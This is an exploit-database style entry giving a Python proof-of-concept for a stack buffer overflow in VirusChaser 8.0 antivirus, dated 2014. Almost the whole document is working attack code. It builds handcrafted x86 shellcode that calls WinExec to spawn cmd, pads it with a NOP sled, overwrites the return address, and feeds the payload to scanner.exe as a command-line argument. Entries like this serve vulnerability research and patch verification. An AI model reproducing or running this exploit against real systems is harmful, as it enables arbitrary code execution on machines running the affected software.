VirusChaser 8.0 – Stack Buffer Overflow
# Exploit Title: VirusChaser 8.0 - Stack Buffer Overflow # Date: 2014/03/26 # Exploit Author: wh1ant # Vendor Homepage: https://www.viruschaser.com/ # Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip # Version: 8.0 # Tested on: Windows 7 ultimate K # # You must have administrator permission to run from struct import pack import os shellcode = "\x66\x83\xc4\x10" # add esp, 0x10 shellcode += "\xb8\x50\x70\x50\x50" # mov eax, 0x50507050 shellcode += "\xb9\x4e\x7d\x04\x27" # mov ecx, 0x27047d4e shellcode += "\x03\xc1" # add eax, ecx ; WinExec() address shellcode += "\x68\x63\x6d\x64\x01" # push 0x01646D63 shellcode += "\x66\xb9\x50\x50" # add cx, 0x5050 shellcode += "\x66\x81\xc1\xb0\xaf" # add cx, 0xafb0 shellcode += "\x88\x4c\x24\x03" # mov [esp+3], cl shellcode += "\x8b\xd4" # mov edx, esp shellcode += "\x66\x51" # push cx shellcode += "\x41" # inc cx shellcode += "\x66\x51" # push cx shellcode += "\x52" # push edx shellcode += "\x50" # push eax shellcode += "\x50" # push eax shellcode += "\xc3\x90" # retn ; WinExec() # BOF retn: 0x0040753d pay = shellcode pay = pay.rjust(520, "\x90") pay += "\x9c\xdb\x12" os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"") |